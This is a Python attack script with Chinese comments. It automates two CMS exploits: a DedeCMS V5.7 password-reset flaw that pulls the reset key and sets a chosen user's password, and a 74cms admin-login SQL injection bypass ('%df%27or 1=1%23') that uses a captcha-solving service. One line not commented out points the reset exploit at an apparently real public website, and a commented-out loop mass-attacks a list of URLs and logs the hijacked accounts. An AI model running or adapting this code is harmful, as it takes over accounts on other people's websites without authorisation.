import requests
import re
import time
import rk
import pd
# def cms_login(cms_url,cms):
#     if cms == '74cms':
#         qishi_cms()


# TimeTuple=time.localtime(time.time())
# print('获取当前的时间戳(元组)：'+TimeTuple)
# fmt='%Y-%m-%d %a %H:%M:%S'
# test=time.strftime(fmt,TimeTuple)
# print('获取当前的时间(字符串)：'+test)

# TimeStr = time.asctime(time.localtime(time.time()))     #根据获取的元组输出一个时间字符串
# print('当前时间为(字符串)：',TimeStr)
# fmt2='%a %b %d  %H:%M:%S %Y'        #格式化时间
# test2=time.strptime(TimeStr,fmt2)       #接受字符串按照格式，输出元组
# print('当前的时间戳(元组)',test2)

# url = 'http://192.168.159.130/DedeCMS-V5.7-UTF8-SP2/uploads/'
# headers = {
#     'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
#     'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
#     }
# session=requests.session()
# result = session.get(url + '/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=2',headers=headers)
# print(result.text)

# pp='''var pgo=0;
#       function JumpUrl(){
#         if(pgo==0){ location='http://192.168.159.130/DedeCMS-V5.7-UTF8-SP2/uploads/member/resetpassword.php?dopost=getpasswd&amp;id=2&amp;key=FJkPrVWW'; pgo=1; }
#       }
# document.write("<br /><div style='width:450px;padding:0px;border:1px solid #DADADA;'><div style='padding:6px;font-size:12px;border-bottom:1px solid #DADADA;background:#DBEEBD url(/DedeCMS-V5.7-UTF8-SP2/uploads/plus/img/wbg.gif)';'><b>DedeCMS 提示信息！</b></div>");
# document.write("<div style='height:130px;font-size:10pt;background:#ffffff'><br />");
# document.write("稍后跳转到修改页");
# document.write("<br /><a href='http://192.168.159.130/DedeCMS-V5.7-UTF8-SP2/uploads/member/resetpassword.php?dopost=getpasswd&amp;id=2&amp;key=FJkPrVWW'>如果你的浏览器没反应，请点击这里...</a><br/></div>");
# setTimeout('JumpUrl()',1000);'''
#
# ulr_path = re.findall("{ location='(.*?)'; pgo=1; }",pp)
#
# xx = ''.join(ulr_path)
#
# xx = re.sub("amp;","",xx)
# key = re.findall("key=(.*)",xx)
#
# print(key)
# print(xx)

def dede_cms(cms_url):#dede_cms修改用户密码
    url = cms_url
    # print(url)
    headers = {
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
        'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        }
    id = "11"
    result = requests.get(url + "/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=" + id,headers=headers)
    cookies = result.cookies
    ulr_path = re.findall("{ location='(.*?)'; pgo=1; }",result.text)
    # print(result.text)
    xx = ''.join(ulr_path)
    url = re.sub("amp;","",xx)
    key = re.findall("key=(.*)",xx)
    key = ''.join(key)
    print(result.text)
    if key!='':
        print("获取到key")
        url = cms_url + "/member/resetpassword.php?dopost=getpasswd&id=" + id + "&key="+ key
        # print(url)
        headers={
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Accept-Encoding': 'gzip, deflate',
            'DNT': '1',
            'Connection': 'keep-alive',
            }
        result = requests.get(url,headers=headers)
        print(result.text)
        user = re.findall('readonly="readonly" value="(.*?)" />',result.text)
        user = ''.join(user)
        # print(user)
        url = cms_url + "/member/resetpassword.php"
        headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Accept-Encoding': 'gzip, deflate',
        'Referer': 'http://192.168.159.132/DedeCMS-V5.7-UTF8-SP2/uploads/member/resetpassword.php?dopost=getpasswd&id=1&key=O2sWAzhh',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': '78',
        'DNT': '1',
        'Connection': 'keep-alive',
        }
        data = "dopost=getpasswd&setp=2&id=" + id + "&userid=" + user + "&key=" + key + "&pwd=990110&pwdok=990110"
        result = requests.post(url,data=data,headers=headers).text
        # print(result)
        fanhui=user+"--"+'990110'
        print("更改密码成功"+fanhui)
        return fanhui
    else:
        return ""

dede_cms('http://zhengdazikao.com')

# jieshou=dede_cms("http://192.168.159.132/DedeCMS-V5.7-UTF8-SP2/uploads")
# print(jieshou)

# for url in open("D:\\dedecms.txt", encoding='UTF-8'):
#     try:
#         print(url)
#         jieguo = dede_cms(url.strip())
#         print(jieguo)
#         if jieguo!="":
#             with open('test.txt','a') as f:
#                 f.write(url +'--'+jieguo+ '\n')
#                 f.colse()
#     except Exception:
#         pass




# url = "http://192.168.159.131/DedeCMS-V5.7-UTF8-SP2/uploads"
# headers = {
#     'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
#     'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
#     }
# session=requests.session()
# result = session.get(url + '/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1',headers=headers).text
# print(result)
# headers={
#     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
#     'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
#     'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
#     'Accept-Encoding': 'gzip, deflate',
#     }
# session=requests.session()
# result = requests.get("http://192.168.159.131/DedeCMS-V5.7-UTF8-SP2/uploads/member/resetpassword.php?dopost=getpasswd&amp;id=2&amp;key=Texc5zd9",headers=headers).text
# print(result)

def qishi_cms(cms_url):
    url = cms_url +'/admin/admin_login.php?act=login'
    print(url)
    headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    }
    session=requests.session() #获取cookie
    result = session.get(url,headers = headers).text
    cookies=requests.utils.dict_from_cookiejar(session.cookies)
    print(cookies)
    url = cms_url + '/admin/admin_captcha.php'
    print('开始下载验证码！')
    name = rk.save_img(url,cookies)#需要带上cookie访问
    # print(name)
    print('正在识别验证码！')
    code = rk.ruokuai_Code(name)
    print('验证码是： '+code)
    url = cms_url + '/admin/admin_login.php'
    headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '100',
    }
    data = 'admin_name=admin%df%27or 1=1%23&admin_pwd=sdsaf&admin_Graphics=' + code + '&Submit=%B5%C7%C2%BC&act=do_login' #带上cookis也不行
    print(data)
    result = requests.post(url,data = data ,headers = headers,cookies = cookies).text
    print(result)
    if result.find('成功登录')!=-1:
        print('【登录成功!】')
        print(data)
    else:
        print('【登录失败!】')
#
# def dede_cms(cms_url):
#
#
# url = 'http://192.168.159.130/DedeCMS-V5.7-UTF8-SP2/uploads/'
# cms = pd.cms_shibie(url)
# print('cms is ' + cms)
# if cms == '74cms':
#     qishi_cms(url)
# if cms == 'DedeCMS':

# qishi_cms('http://192.168.159.133/74cms/upload')
# name = str(rk.save_img('http://192.168.159.184/74cms/upload/admin/admin_captcha.php'))
# print(name)
